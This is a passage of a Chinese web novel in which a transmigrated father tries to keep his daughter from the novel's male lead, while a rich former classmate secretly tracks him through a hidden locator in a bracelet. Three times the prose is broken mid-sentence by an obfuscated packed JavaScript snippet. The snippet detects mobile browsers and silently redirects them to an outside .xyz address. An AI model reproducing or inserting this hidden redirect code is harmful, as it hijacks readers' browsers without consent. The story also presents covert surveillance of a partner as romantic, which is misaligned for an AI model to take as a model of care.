沈望被他的话一引,似乎是有点效果的,不由反问,“真的只是需要我抱抱你?” 鹤爵淡淡一笑,“你做生意确定能挣到钱吗?” 沈望一转眼变了脸色,炸毛道,“你给我出去,要你管!” . 沈妙妙这边的培训进行地比较顺利,她是一个聪明的女生,声音条件优越,反应力敏捷,外加出众的外形条件,是做主持人的不二人选。 跟沈妙妙搭档的还有一女两男,总共四个人,全部是来自于京大各系的优秀人才。 原本训练的一切顺利,忽然临近彩排的关键节点,搭档的女生忽然家里有事,临时换成了鹤若妍。 一众人等待着那个女生来的时候,沈妙妙便觉得奇怪,平常总能按时到,甚至提前到的人,怎么忽然迟到? 当身材玲珑有致、容貌秀美的鹤若妍意外出现在所有人面前时,沈妙妙居然觉得并不意外。 似乎鹤若妍会站在面前,是一件多么自然,又顺理成章的事情。 她只是为那个被顶替掉的女生感到惋惜,同时深深地印证了另外一个真相。 被替换掉的不是自己,看来跟爸爸沈望必然有着千丝万缕的关系。 沈妙妙一时间露出了淡淡的厌烦。 恰好被鹤若妍捕捉到了,所以鹤小姐找了个无人关注的空闲时间,堵住了沈妙妙的路,趾高气昂道,“我永远不会让你好过的,哼。” 沈妙妙:“呃......” 鹤若妍其实除了鹤爵,这次为了达到目的,专门跑去求了鹤家老爷子。 鹤家爷爷自然要替孙女做主的。 沈妙妙道,“你现在是在为那个被替换掉的女生感到惋惜?感到气愤?” 啧啧啧。 “你应该知道她是外文系的吧?只要我能给她提供一个出国留学的名额,那女人高兴地乐开花了,屁颠颠地就把位置腾出来了。” “你们这些穷鬼,一辈子辛辛苦苦,最后投入社会也只能成为别人的牛马,而我完全不费吹灰之力,就成为朝你们身上挥动皮鞭的人。” “沈妙妙,你很生气吧?这就是你阻碍我的下场。” 沈妙妙安静听她讲完全部,以冷静的语气分析道,“你说的,跟我有什么关系?” 像是特意刺激对方,“反正我以后嫁给萧诼做豪门阔太,也不会去写字楼里端茶递水,你的皮鞭扬得再高,也打不到我的肉上。” 鹤若妍:“!!!” 鹤若妍:“我早就知道你是一个心机婊!我一定要向诼哥哥告密,说你只是图他的钱!” 沈妙妙耸耸肩,不置可否,绕开对方的幼稚攻击圈,往舞台的方向走。 其中一个男主持人立在原地,面色僵硬,似乎是听见了鹤若妍与沈妙妙的对话。 沈妙妙是全校男生的梦中女神,大概连他也不能避免,在半个月内的接触中,深深坠入情网无法自拔。 所以他是绝对不敢相信自己的耳朵,也绝对难以接受,自己的女神居然如此市侩。 他大概想拦住沈妙妙的脚步,问她一句这是不是女神的真心话? 女神轻飘飘凝了他一眼,立刻释放出冰冻三尺的距离感,冻得对方连个屁都不敢放。 沈妙妙才不管其他人的看法,她只有自己的主张。 鹤若妍接替了他人,成为新的主持人之一,家里聘用了三个专家级别的老师做训练,很快将主持词记忆得滚瓜烂熟。 反正木已成舟,也没有人能拿她怎么样。 四位主持人需要拍一组照片来,还要加拍一组宣传用短视频,校方专门请了拍摄团队来完成任务。 两男两女需要在京大校园的各个场所摆拍,有时候还需要沈妙妙与鹤若妍穿着旗袍,肩并肩地坐在凉亭中亲昵搭话。 这一点鹤若妍明显扭捏,万分不想跟情敌靠得太近,沈妙妙倒是无所谓似的将手搭在她肩膀,轻声耳语道,“既然不想跟我合拍,那你最好配合一点,这样拍摄时间才能大大缩短,不是吗?” 沈妙妙的语气香香软软的,吹拂在鹤若妍的耳垂居然特别痒,还很清脆悦耳。 鹤若妍立刻生气道,“你怎么这么烦,不要朝人的耳朵讲话,这是礼貌!” 远处站着的摄影师反倒认为两个年龄相当,容貌昳丽的女生靠在一起格外养眼,不由喊道,“对了对了,两个小姐妹再多靠近一点,看起来很有画面感。” 话说。 “你们两位是真正的姐妹吗?看起来感情还真是很好。” 两个女生相觑一眼。 鹤若妍不由冷笑,“你这种糟糕透顶的眼神,真的能做好摄影师?” 沈妙妙置若罔闻。 事后,鹤若妍将拍好的照片要了一份儿,越看越觉得这个摄影师一定是对自己刚才那句话有意见。 否则,为什么沈妙妙的皮肤在阳光下闪闪发光,腰肢也更纤细,屁股也更翘,尤其是眼睫毛,织花似的扑闪着纯洁的光芒。 “她可长得一点也不怎么像她爸爸。” 鹤若妍拿着照片,不停地翻来翻去,晦气十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347622|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足地丢在沙发里。 沈妙妙爸爸是狐狸精那种眼型,眼尾微挑,连眼睫毛都翘得很,仿佛从天鹅绒中精心挑选出来的两簇绒羽,雾朦朦的。 好看是极好看,就是太讨厌了! 鹤若妍无形放大着那天的所见所感,甚至觉得小叔叔就是被沈妙妙爸爸的狐狸眼给勾魂了。 不然,小叔叔怎么可能拒绝她上门去玩?! “沈妙妙肯定长得像她妈妈!” 鹤若妍不停地拨动指甲片间的法式贝母雕花,“沈妙妙的爸爸都已经有老婆了,居然还不要脸地勾引小叔叔!我这就去给小叔叔告状!” 鹤若妍的母亲文欣月端着切好的水果,古怪打量着女儿,嗔道“你整天神神叨叨着什么呢?是不是又在说那个叫沈妙妙的女生?” 被母亲一针见血,鹤若妍赌气道,“我今天已经被沈妙妙气一整天了,你就不要在家里也让我生气了,臭妈妈。” 鹤若妍一般不住校,更多时间住在家里,是全家上下的宝贝疙瘩,骄纵得无法无天。 文欣月也不责怪女儿的没大没小,过去搂住乖宝贝,轻声哄道,“不就是一个区区小门小户家的丫头,怎么就犯得上咱们家的小公主天天挂在嘴边了?” “有照片吗?倒是让妈妈也瞧一瞧。” “看她做什么,万一你觉得她更漂亮怎么办?” 文欣月拍拍女儿气鼓鼓的小脸蛋,“怎么可能,我的女儿结合了爸爸妈妈的优点,像初晨的月牙,美着呢,对自己要有信心。” 鹤若妍这才被哄顺毛了,捡回手机,打开屏幕递过去。 “就是她,你看吧。” 文欣月原本是打算随便一看,再说点好听的话,哄女儿开心的。 哪知,这一看不得了,果真被沈妙妙通身的气质给吸引住了。 沈妙妙身姿摇曳生辉,一身淡绿色旗袍恰巧将她迷人的身线勾勒无疑,露出来的肌肤雪白无暇。 确实是一个顶级美人胚子。 不过文欣月不敢说这些,她的女儿吃酸捻醋是一把好手,说出口差不多会闹的更凶。 不过...... 文欣月说,“这孩子别说,从某个角度看起来,还挺像......” 鹤若妍一翻白眼,“我跟她长得完全不像好吗?妈你说话要负责任,千万不要乱点评。” 是是是。 文欣月越思考越琢磨,越觉得这个女生的面部轮廓和周身气质。 特别像一个十分熟悉的人。 不由扯了扯鹤若妍的袖子,催女儿一起观察,“你仔细看这个沈妙妙,长得像不像你小叔叔?” 16.第 16 章 沈妙妙怎么可能和她高贵的小叔叔长得相像?! 鹤若妍差点脱口而出——假如这件事是真的,我宁愿倒立吃翔! 不过鉴于鹤小姐是大家闺秀,实在不应该把脏东西挂在嘴边,于是满不在乎道,“假如沈妙妙能有一点点像小叔,那我宁愿在迈巴赫上表演车顶劈叉。” 文欣月怪看她一眼,忍了忍没有说话。 . 沈望耐心在家等待着鹤爵回来,鹤爵每天都会坐不同的豪车出门,经常乘坐的是一辆低调奢华的BMW7系,银白色的车身搭配高功率发动机,即使从大门缓慢驶进庭院,沈望总能在第一时间听见某人回家的声音。 赵管家推开屋门,迎接主人归家。 已经有人快速地扑进鹤爵的怀里,给工作一整天的男人来个猛烈的拥抱。 鹤爵淡淡说,“慢点儿,你和我的岁数加起来已经不小了。”即使如此,还是将礼貌手改成贴住沈望腰肢的小动作。 赵管家立刻心领神会,提着鹤爵的公文包与外套,蹑手蹑脚离开。 沈望说,“我刚才在你的运动机上运动了一个多小时,现在身上的汗水是新鲜的,体香也是新鲜的。” 鹤爵试图用自己失灵的鼻子闻一下怀里的气味,效果并不理想,但脑海中残存的余味很浓郁,是能令禁欲佛子心荡神驰的味道。 主要是运动后的沈望很水灵,用这个词语来形容三十几岁的男人确实极其失真,还有编造过度的成分。 可谁让对方是沈望呢? 沈望用蒙着细雨的水润眼珠子盯向男人,小心翼翼问,“已经一周了,你鼻子感觉好一点了吗?” 鹤爵立刻有所警觉,荡漾起的嘴角往下压了压,“你每天只在我上下班的时候抱抱我,怎么可能会治得那么快?” 沈望想想也是,自然而然从鹤爵的怀中滑出来,有点为难说,“我想跟你请几天假。” 话很短,引发的效果意外惊人。 鹤爵放松的表情彻底收拢干净,淡漠说,“我讲过,你是自由的,记得吗?不用跟我请假。” 一般抱完沈望,他都会摸摸沈望的头,或者最近新加了几个亲昵的动作,例如揉一揉对方的耳垂。 这次没有。 鹤爵转身上楼,边走边单手扯下衬衫前的领带,在右手间缠绕七八圈。 沈望感觉他像是生气了。 不过又不很确定。 毕竟十几年没有在一起,每个人的性格和习惯都会随着时间流逝而改变。 没有谁是一尘不变的。 沈望觉得自己肯定是多心了,因为上高中时,有一次自己惹怒了鹤爵,鹤爵狠狠在他屁股上踢了一脚,踢完又抱着他揉了半小时,效果等于没有踢。 沈望早已经人在曹营心在汉,一颗红心飞到女儿身边,哪里管什么鹤爵,匆忙泡个澡去一去浑身馥郁透骨的香味,又套上两件秋衣外加半袖牛仔裤,背上包利索地打的跑了。 赵管家平常见惯了沈望在家摇来晃去,散播香味,人忽然不见了确实十分明显,不过他现在要做的是恭请少爷享用晚餐。 鹤爵闭门坐在书房里,声音冷透了木板门道,“一个人吃没什么意思,撤掉吧。” 沉默了十几分钟,又问,“.......” 算了,不讲了。 赵管家在门口候着强行吊一口气,鹤爵不讲出来,就得一直吊着,直到窒息。 赵管家决定努力一把,隔着门道,“少爷,其实我觉得每天只让沈先生抱你几分钟,这样的治疗太过肤浅,完全是隔靴搔痒.......不,我的意思是,完全治标不治本。” 鹤爵居然悄无声息地走到门后,拉开门的瞬间,周身不容抗拒道,“沈望出门前,穿得什么衣服?” 赵管家回复,“穿得挺厚的,还好今早下了雨,外面不是很热,不然非得给沈先生弄中暑不可。” 鹤爵一秒钟也听不下去,直接紧紧关上书房的屋门。 他倒不是给赵管家摆谱,而是有更重要的事情需要做。 鹤爵走到书房的博古架旁,转动其中一个隐藏的按钮,立刻从书房旁开出一道崭新的门。 门内全部是巨大的监控屏幕,四面墙几乎布满。 鹤爵坐在从未启动过的电脑面前,熟练地开启主机,没一阵这座造价昂贵的定位监控仪正式投入运行。 他可不是仅仅和沈望开个普通玩笑的意思。 鹤爵将自己的手机与监控仪进行数据对接,这台巨型监控机器在经历十几年后,正式投入运行。 沈望金手镯间微微发出一星蓝盈盈的光芒,只是他根本没怎么注意,那抹蓝光又销声匿迹。 沈望正忙着打车去京城有名的高档夜总会,据沈妙妙的舍友夏璇透露,萧诼萧公子每周都会来这边消遣。 其实对于所有的豪门少爷来讲,为了维系一定的社交和人脉,某些地方时不时要参加一下的。 沈望偷偷跟夏璇发了信息,确定女儿晚上在宿舍休息,才来这边碰一碰运气,希望能守株待兔,跟本书男主来个亲切会面。 对于夏璇这个小姑娘,沈望的评价是——仗义! 他跟夏璇悄悄加了微信好友之后,时不时地试探对方,频繁说妙妙不知道有没有背着他找男朋友。 沈望伪装的很和蔼可亲,说如果对方是个优秀的小伙子,他一定会支持女儿的恋情。 我呸! 沈望发狠想,这辈子能配得上他女儿的男人还没出生呢!谁都配不上他的小公主。 男主尤其不配! 沈望试探性地靠近夜总会的大门,豪门电视剧虽然没看多少,电影倒是看了一些,像有钱人能进出的会所,对消费和着装都有着一定要求的。 幸好他早有准备。 他今天穿的两层秋衣是阿玛尼的高定款! 沈望特意将印有LOGO的标志露给门童看,门童只忙着看他的脸,一头撞在门框边,晕头晕脑开门说,“先生,里面请。” 沈望立刻得意,早知道这是个看牌子的社会了。 前台的接待小姐笑盈盈的,看见他进来似乎早有预料,主动迎接贵宾到来。 沈望问,“我是来找萧诼,萧少爷的,不知道他今天有没有来玩儿?” 以萧诼为代表的豪门少爷自然是所有会所的榜单贵客,萧诼背靠强大有力的家族企业,在京城来讲也是赫赫有名。 尤其萧诼还是个耀眼的黄毛。 前台小姐说,“萧少爷一般十天半个月来玩一次,今天也来了,在黄金帝王台卡座包了场。” 沈望立刻露出臭脸,心里骂道,这样的男人怎么能可靠呢?常在河边走哪里有不湿鞋的,尤其这种地方,搞不好早已经是个烂黄瓜男了。 沈望说,“我能进去跟萧少爷讲两句话吗?” 前台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361934|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐道,“您是贵客,当然可以了。” 沈望惊呆了,怎么自己第一次来就成了贵客,难道是阿玛尼秋衣有如此魅力? 于是,挺胸抬头跟着过来接他的服务员走进金碧辉煌的电梯。 前台小姐等他走了,给面前的座机打了个电话,汇报沈望的全新动态。 接电话的总经理又给其他人打了电话。 最后鹤爵坐在所有的监控器前,看着沈望一步步走进了纸醉金迷的疯狂世界中。 鹤爵对电话那头面无表情道,“五分钟,我要萧诼的全部身家资料。” 沈望在服务员的引导下,坐在了萧诼的邻桌。 看起来这里的消费肯定不便宜,光是舞台上的表演都是从国外邀请来的歌舞团,兔女郎的身材火辣性感,踩着针尖高跟鞋在钢管间做着前卫却不低俗的表演。 萧诼跟自己的好哥们儿欢聚一堂,七七八八的豪门公子们里还坐着陪酒的外国姑娘,清一色的大长腿,又漂亮又豪放,比起华国的女生生猛多了。 沈望感到无比愤怒,又觉得简直太好了,真怕自己拿不到男主的淫.乱证据,正好拍个视频让女儿跟渣男分手。 沈望才刚把手机掏出来,对准单独坐在卡座中央的萧诼。 萧诼的一个好兄弟撒尿回来,恰好看见偷拍场景,一把卡住沈望的后颈,提起来就骂道,“死变态,在偷拍谁呢?” 沈望的个头也不算低,好歹178呢,可是被人提在手里仿佛捏着小鸡仔,于众目睽睽之下,被推到的萧诼的面前。 背后的男生不屑一顾道,“喂,萧诼,我刚才解手回来,看见有个怪咖在偷拍你,你看看他手机,是不是什么变态专门偷窥你的。” 沈望每天早晨四点钟起床,到港口码头跟一群鱼鲜贩子抢生意,体力早练得猛如铜钟,结果被推的狠了,直接飞进了萧诼的怀里,把所谓男主的大腿抱了个紧。 萧诼原本不怎么喜欢参加这种带有淫.乱.性质的派对,不过他将来是要接手家族生意的,必须要跟能用得上的家伙建立互相利用的交情。 所以心里不怎么开心的男主角正好找个出气筒,一把扯住沈望的头发,拉起脸淡淡扫了一眼。 ......扫了两眼。 又扫了十几眼。 坐在周围的人纷纷起哄道,“萧少爷陷入爱河了吗?怎么看偷窥变态看得目不转睛啦?!” 几个好事的少爷也满怀好奇,将沈望的双手一扯,强行转了个方向。 沈望一张令人血脉偾张的脸孔,忽然令在场的男人们狠狠闭嘴,并且暗自吞了口水,呼吸一窒。 这算什么?! 我草!! 这是什么引人犯罪的漂亮小婊砸! 沈望在鹤爵身边待了段时间,逐渐能接受自己的脸暴露在视野之中,这一瞬间的目光凝聚,立刻令他胆怯起来。 很多次。 沈望见过这种毫无遮掩、赤.裸.裸地、往皮肤和身体里钻的目光很多次。 还有高中里,那些把他塞进水池灌水,又捞出来取乐的男生们,在看清楚他的脸在洗干净之后,居然是如此的精致动人。 是同一种眼神,直接得令人窒息。 沈望忽然结巴说,“误误误会。” 结果被萧诼捏住下巴,冷不丁扯着手坐到了身边的空位上。 男主语气肃冷问,“我以前见过你吗?” 17.第 17 章 你对我当然眼熟了,tmd,老子是你女朋友的亲爹呀! 我们父女俩一个模子刻出来的,假如你看到老子都想不起来妙妙的话,证明你心里就没我女儿! ...... 呸呸呸,这话重新说。 沈望死死瞪着面前的小兔崽子,心说看你这脸人模狗样牡丹开花的,难怪后来能娶八个老婆,只可怜我的妙妙公主连一丁点儿福气都没沾到....... 呸呸呸!我女儿只要远离臭渣男,就能活出不一样的人生! 沈望说,“tui~” 飞了两颗唾沫星子沾在男主脸上。 “卧槽!”坐在萧诼两侧的豪门少爷们生气了,挽起袖子做出要教训的凶狠架势,被萧诼眼神示意拦住了。 萧诼的手朝后一搡,当即给沈望摔了个重重的屁墩子,有人帮忙递了一张湿巾纸,让萧少爷擦脸。 实际上沈望的口水根本没吐多少,萧诼嫌弃无比地使劲蹭脸皮的部位,居然还擦出了奇异的香味。 越擦越香,以至于萧诼更厌烦,将手里揉皱的湿巾纸抛进纸篓,一双黑沉的眼眸对视着,“我跟你似乎没什么深仇大恨吧?你瞪我这么用力做什么?” 萧诼的狐朋狗友们纷纷看起热闹,有人笑着说,“怕不是暗恋萧少爷的吧?” 沈望气得要翻身起来打人,被卡座里的少爷们一起出手摁住。 萧诼拧了刚才讲话的那个白痴一眼,冷不丁道,“你有脑子吗?他暗恋我,他用杀父仇人的眼神暗恋我?” 杀父仇人倒不至于。 是祸害女儿的宿仇! 沈望道,“你可以不认识我,沈妙妙你总认识吧?” 听到女朋友的名字,萧诼终于有所察觉,之前的扫视变作了深层次的打量,言道,“你突然提妙妙的名字做什么?” “难道说.......” 围在一圈的少爷们恍然彻悟,大概是弄清楚究竟是怎么回事。 A少爷说,“这小子一定是京大的学生,而且还暗恋嫂子,难怪专门用手机偷拍你,为得就是好抓住萧少爷你的把柄,好让嫂子误会你!” B说,“我看事情没有这么简单吧?长成这样还愁找不到女人?八成是嫂子担心萧少爷你不老实,专门派人来偷拍你的行踪吧?”讲完话还特意把身边坐得外国美人儿往萧诼方向推了一把。 “我跟你说,你要拍就拍点儿劲爆的料,没有当场抓到萧少爷偷吃,怎么有意思呢?” 一番话引得不少人哄堂大笑。 这伙人的目的不甚单纯,有几个是见过沈妙妙的,嫉妒萧诼能把全京大最漂亮的妞儿叼走,也有几个对这段姻缘唱衰的。 要知道。 “沈妙妙不过是一个区区的土家女,浑身上下除了脸能看,还有什么能配得上萧少爷的呢?” “对吧?我早就劝过萧诼,跟沈妙妙这种廉价的女人玩玩就行了,要是真娶老婆,还得从富家千金中选,像鹤若妍就非常不错,商业联姻能带来的利益才是至高无上的。” 沈望听这几个家伙这样编排女儿,第一反应是给对方甩几个大逼兜子。 他的手还没扬起来,已经有另一只手从桌面抄起一瓶啤酒,照准说话最难听的那个,头顶邦邦敲了一酒瓶。 炸裂的瓶子碎渣四分五裂,银瓶乍裂水浆迸,酒是酒,渣子是渣子,萧诼完全不管对方死活,也不管自己未来的岳父靠得也很近,反正谁讲沈妙妙的不好,他就脾气上头抽谁。 “你tm的说谁是廉价货呢?”萧诼多年的叛逆可不是白叛逆的,随手提起另一个啤酒瓶,“嘭”得又砸了另一个多嘴多舌的家伙。 被砸的两个少爷家世一般,能依仗到萧诼身边,也是做了多年的舔狗,此刻两人前后捂住头部,从指缝间缓缓淌出血来。 卡座的动静引来不少人注视,胆小的女生已经发出刺耳的尖叫,引发小范围的恐慌。 萧诼砸完人一点也不慌张,确实是本书第一男主角,继续沉静地坐在沙发上,对满头冒血的两人冷道,“萧家也不跟垃圾有任何生意上的往来。” 眼神骤冷,“滚。” 那两个杀鸡儆猴的家伙,还有几个附和的家伙,仿佛失去了人间的颜色,一脸灰败如土,站起来就跑。 萧诼道,“等一下。” 那几个人立刻定身。 萧诼警告,“替我给鹤若妍传句话,即使我身边的女人不是沈妙妙,也永远轮不到她,滚。” 那几个人听话得又滚了。 沈望原本有一丝丝的被男主震撼,直到萧诼最后一句话吐出,直接败好感到低谷。 什么无论身边的女人是谁?! tmd你将来娶了七个老婆,最后才轮到鹤若妍,好不好?! 不对! 这人渣根本不是真心的,他根本没有把我的宝贝女儿放在心上。 沈望举起手机,怼在萧诼脸前,义愤填膺道,“麻烦你把刚才的话,再说一遍,我录一下音。” 萧诼真的要气笑了,一把扯住沈望的衣领,露出森白的锋利牙齿说,“神经病,信不信我找人干.死你?” 沈望:“!!!” 他被这混球的话快要激气到冒烟了。 冷不丁冒出另一句更为疏冷的话音,横贯全场。 “我倒是不怎么信你敢。” 卡座四周的人前后忙着看热闹,无论谁都未曾注意到,整个娱乐场所的表演早已悄无声息地结束,会场内冲进来极多的安保人员,连头顶的镭射光也停了。 鹤爵踩着六亲不认的步伐,背后跟着清一色的私人保镖,阵仗与嚣张同行,一步一阵地颤山摇地走到未来男主角面前。 “你的临时请假已经提前结束了。”谁也不能乱碰,鹤爵单手将坐在地面的沈望拉起来,手臂拢住,气势十足地扫了萧诼一眼。 萧诼毕竟是年轻,被如此沉着、阴寒、不容抗拒的眼神睨了一下,竟从脚指头便开始发寒。 无需任何人的同意,鹤爵转身将两腿坐到发颤的沈望拉出夜总会。 沈望自知腿短,其实心里想着我磨磨蹭蹭的话,他就不会使劲拽着我走了。 鹤爵顿了一下脚步,“用我抱你走?” 不不不。 沈望捏起拳头砸了砸发麻的大腿,条件反射回头望一眼萧诼的方向。 这一举动明显令鹤爵不爽了起来。 鹤爵直接打横抱起沈望,用宽阔的胸膛顶住沈望的面孔,不让他在自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370131|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前做任何小动作。 沈望摆了摆腿,急吼吼道,“你我加起来都几十岁的人,你现在这样好丢脸!” 鹤爵把他原地放下,气不喘心不乱道,“确实,你以前只有一百多斤。” “唔.......”沈望想了半天反驳的话说,“以前抱我走半小时,根本不累的!” 鹤爵说,“现在老了,抱不动了。” 又说,“你还记得自己饿晕,被我送去医院的事情?” 沈望说,“......” 沈望说,“我懒得理你。” 这句话看似无心,实则无心,径自在人群中丢下个重磅炸弹,尾随在后面的保镖们像是突然遇见敌袭般,浑身肌肉紧绷,冷汗如瀑,眼胀心痛! 太吓人了。 这世间居然有人敢跟大老板顶嘴! 鹤爵居然没有生气的意思,在车子开来的时候,开门叫沈望上去。 沈望坐在远离鹤爵的车座上,这才又聪明起来,大声质问道,“鹤爵,你居然跟踪我!” 随行的几个保镖完全陷入恐慌,冷如冻鸡。 鹤爵说,“对。” 然后道,“萧家是做地产生意的,假如让萧家在几个月内破产,也不是不可能。” 沈望以为他在跟自己讲话,哪知车里还坐着鹤爵的秘书,秘书一路同行,半夜加班加点分析数据,“萧家的资产已经估算出来了,鹤总您请过目。”转手将怀里的笔电屏幕转向这边。 沈望一点也看不懂屏幕间密密麻麻的数据代表什么,只看见具体单位是亿。 “什么!萧家怎么你了?你要叫萧家破产?” 沈望主动往鹤爵的专座挪了些距离,“那个萧诼刚才没有对我做什么不好的事情,你不要让萧家破产。” 鹤爵的手臂一伸,顺势搭在沈望背后的沙发上,“这只是我生意上的事情。” 言下之意,跟你有什么关系,少自作多情。 沈望啊了一声。 “也对,反正......” 沈望转身看向车窗外面飞掠的风景。 他确实在很多时候都在自作多情。 一直都是这样。 十几年前,他就不该误以为鹤爵对他的不同,是因为某些特殊的原因。 例如沈望后来变得越来越干净漂亮,开始有女生跟他送表白信。 鹤爵不知用了什么办法,给他从老末班直接调进A班,天知道沈望的学习有多么差,居然在天才班的前排坐着。 沈望依稀记得自己苦哈哈地挠着头,搬起手指做理综卷子上的计算。 鹤爵只是踹一脚他的桌腿,淡淡道,“不会要问,笨蛋就算了,起码嘴巴要甜一点吧?” ...... 可是,女儿和萧诼的孽缘,正是从萧家破产开始的。 他不要女儿在第一章就凄惨死去! 萧家也不能破产! 沈望转身拉住鹤爵的衣袖,他这辈子求鹤爵的事情不少,嘴巴一直也很甜。 现在老了,嘴巴也没年轻的时候甜蜜了,不知能不能再让面前的男人同情自己一次。 沈望说,“鹤爵,其实我们所处的世界,是一本龙傲天后宫小说,你信不信?” 18.第 18 章 沈望觉得,如果是正常人,多少会质疑自己的观点,然后他再趁机抛出接下来的话题,好叫鹤爵打消令萧氏集团破产的念头。 鹤爵认真地、快速地思索了一下主题,倒没有泼凉水的意思,语言组织淡然有序道,“我对开后宫没什么兴趣,这辈子也不会结婚。” 沈望:“.......” 心口忽然钝痛属于什么情况?应该是被气的。 沈望说,“你才不是小说世界里的龙傲天,谢谢。” 你tm是跟萧诼PK到生命尽头的大反派啊! 鹤爵缓道,“那就不用再细说下去了,我的命运由我自己掌控。” 反派确实不按照常理出牌啊啊啊啊! 沈望真想好好给鹤爵讲一讲,他在这本书里是怎么只手遮天、无法无天、游走在法律边缘! 可是没办法。 沈望只记得女儿沈妙妙的具体剧情,鹤爵的部分忽略得干干净净。 鹤爵最后的结局......好像是众叛亲离......然后......出家当和尚去了.......吧? 反正人活得好好的,一个人住在山里面,饿不死冻不死的,没有少胳膊少腿,更没有被挖个眼缺个肾,比起一般反派的结局幸福多了。 只有我的女儿最可怜,怀着孕死在寒冬最冷的茅草棚子里! 人果真不能产生悲观念头,沈望的情绪瞬间掉落低谷,传染得鹤爵也深思起来。 “在担心我?” 沈望真想甩他一脸大大的“不是!” 鹤爵则更快地了然道,“确实,你我只是雇佣关系,到时候会给你好好结账的。” 至于到哪个时候,鹤爵理解的正是沈望所知晓的那个终点之前。 沈望感觉自己被深深地误会了,张嘴要辩驳,鹤爵收回虚空揽住他的手臂,与秘书交待道,“再派车子过来接我,我需要外出一趟。” 后来真的来了一辆新车,载着鹤爵去了别处,秘书跟着一同,只有司机载着沈望先回鹤公馆。 沈望觉得很委屈,自己又没有说不关心鹤爵,只是自己的关心看起来又可笑又多余。 都已经过去十几年了,自己不在的这些年,鹤爵身边早应该阅人无数了吧?即使本人不愿意,像他这么高的地位,又有多少漂亮的男人女人主动往他身上扑。 沈望浸泡在浴缸里,温热的水液将他浮浮沉沉地拖曳着。 最终。 沈望用手在浴缸的边缘狠狠砸了一下,雪白的手背间立刻显现出一块绯红的创痕。 “我瞎操他的什么心!” 沈望吃痛的手缓慢抚摸到自己的腹部,寸长的刀疤像是为了刻骨铭心才留下的狰狞痕迹。 “鹤爵心里早有人了,你只是一条小狗,被他无意间搭救的玩具而已。” 沈望与某人的关系忽然陷入诡异的冰冻期,两人每天都像是在例行公事地互相拥抱几分钟,然后匆匆分开。 有时候,沈望觉得自己抱住的是块毫无生命的铁板,又硬又割人,似乎并没有走心,还在抱住自己的时候屏息凝神,连心跳都控制得极好。 沈望真的很受伤,却又不知道自己究竟哪里让鹤少爷不满意。 “早知道,就不提小说的事情了。” 沈望高中成了鹤爵的小跟班后,或多或少也惹怒了对方几次,有几次是因为上课不好好听讲,睡觉睡到流哈喇子,也有几次是放学没给鹤爵提书包。 但都不怎么严重。 只有一次,鹤爵是真生气的。 鹤爵从来都不缺追求者,什么班花校花,还有附近其他学校的美女,频繁地给鹤爵送巧克力小饼干,和令人看了会面红耳赤的情书。 光是沈望偷偷看到的,就不止几十次了。 记得有一次,那个女生还是京城其他高中的,专程为了见鹤爵一面,打车坐了几个小时的车,专门到高中门口要见鹤爵一面。 沈望是鹤爵的狗腿子已经是人人皆知的事情了,所以那个女生扯住沈望的袖子,求他帮忙给鹤爵带句话,说要在校门口附近的奶茶店见对方一面。 沈望至今记得那个女生长得特别漂亮,性格也很执拗,偏执得非要见鹤爵一面。 沈望觉得鹤爵是世家少爷,一直没有交女朋友是因为眼光太高,而眼前这个女生真的长得太美丽,宛若精致的瓷器般优秀又温婉。 沈望还斗胆在脑海里勾勒了两个人坐在一起的画面,真的是郎才女貌,天生一对璧人。 沈望可能是被女生可怜的模样缠得恍恍惚惚,就被迫答应了。 时隔多年,其实很多细节他都记忆得不是那么深刻了。 沈望只记得自己把话传给了鹤爵,一向待他不错的鹤爵,对着他的屁股狠狠地踢了一脚。 还怪疼得咧。 那个时候的鹤爵还是个少年,多少有点孩子气的一面,即使平常多数时候稳重冷静,偶尔还是会露出属于青春男生都会有的简单粗暴。 现在的鹤爵跟以前完全不一样。 沈望永远也猜不透对方的意思,包括鹤爵的眼神和暗示,也变得扑朔迷离,仿佛远山间缭绕的云雾,似乎透明,实际不是。 鹤爵这边陷入诡异的冷战,倒是女儿的电话打得勤快极了,每隔两天都跟沈望汇报自己的培训情况。 沈望原本想叫她不要那么辛苦的,后来一想假如女儿不来跟自己撒娇,那一定会去跟男朋友撒娇。 哼╭(╯^╰)╮~ 沈望认真聆听沈妙妙的每一点小心烦,再从贴心地角度帮忙分析,劝导,完美体现出自己是个比男朋友更优秀的谈话人。 沈妙妙每次结束电话前,都会小声地抱怨,“爸爸你什么时候能跟我打视频,我都快一个月没能好好跟你见面了。” 沈望当然有自己的理由,他可不能让女儿发现任何端倪,耐心解释说,“爸爸最近忙着做生意,人邋遢得很,还是等我不忙了,再跟我的小公主打视频吧。” 